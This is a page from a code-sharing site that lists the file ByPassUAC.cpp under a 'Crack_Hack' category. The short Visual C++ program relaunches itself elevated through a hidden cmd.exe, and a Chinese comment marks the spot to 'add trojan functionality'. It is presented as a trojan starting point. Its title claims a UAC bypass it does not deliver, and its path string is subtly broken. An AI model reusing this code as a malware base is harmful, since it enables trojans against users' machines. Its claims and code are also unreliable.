Code/Resource
Windows Develop
Linux-Unix program
Internet-Socket-Network
Web Server
Browser Client
Ftp Server
Ftp Client
Browser Plugins
Proxy Server
Email Server
Email Client
WEB Mail
Firewall-Security
Telnet Server
Telnet Client
ICQ-IM-Chat
Search Engine
Sniffer Package capture
Remote Control
xml-soap-webservice
P2P
WEB(ASP,PHP,...)
TCP/IP Stack
SNMP
Grid Computing
SilverLight
DNS
Cluster Service
Network Security
Communication-Mobile
Game Program
Editor
Multimedia program
Graph program
Compiler program
Compress-Decompress algrithms
Crypt_Decrypt algrithms
Mathimatics-Numerical algorithms
MultiLanguage
Disk/Storage
Java Develop
assembly language
Applications
Other systems
Database system
Embeded-SCM Develop
FlashMX/Flex
source in ebook
Delphi VCL
OS Develop
MiddleWare
MPI
MacOS develop
LabView
ELanguage
Software/Tools
E-Books
Artical/Document
ByPassUAC.cpp
Package: ByPassUAC.rar [view]
Upload User: ddhomtel
Upload Date: 2022-05-28
Package Size: 1439k
Code Size: 1k
Category:
Crack_Hack
Development Platform:
Visual C++
- // ByPassUAC.cpp : Defines the entry point for the application.
- //
- #include "stdafx.h"
- #include "Shellapi.h"
- int APIENTRY WinMain(HINSTANCE hInstance,
- HINSTANCE hPrevInstance,
- LPSTR lpCmdLine,
- int nCmdShow)
- {
- // TODO: Place code here.
- char szPath[] = "c:\windows\system32\cmd.exe";
- char szParam[MAX_PATH*2] = {0};
- memset(szParam,0,sizeof szParam);
- strcpy(szParam,"/c start ");
- char szCurPath[MAX_PATH]={0};
- char szShortPath[MAX_PATH]={0};
- memset(szCurPath,0,MAX_PATH);
- GetModuleFileName(NULL,szCurPath,sizeof(szCurPath)/sizeof(TCHAR));
- GetShortPathName(szCurPath,szShortPath,sizeof(szShortPath));
- strcat(szParam,szShortPath);
- HANDLE hMutex = CreateMutex(NULL, false, "Process");
- if (GetLastError() == ERROR_ALREADY_EXISTS)
- {
- CloseHandle(hMutex);
- return 0;
- }
- ShellExecute(NULL, "runas", szPath, szParam, NULL, SW_HIDE);
- MessageBox(NULL, "程序已运行!", "提示", MB_OK +MB_ICONWARNING); //表示程序已运行
- //在此添加木马功能...
- return 0;
- }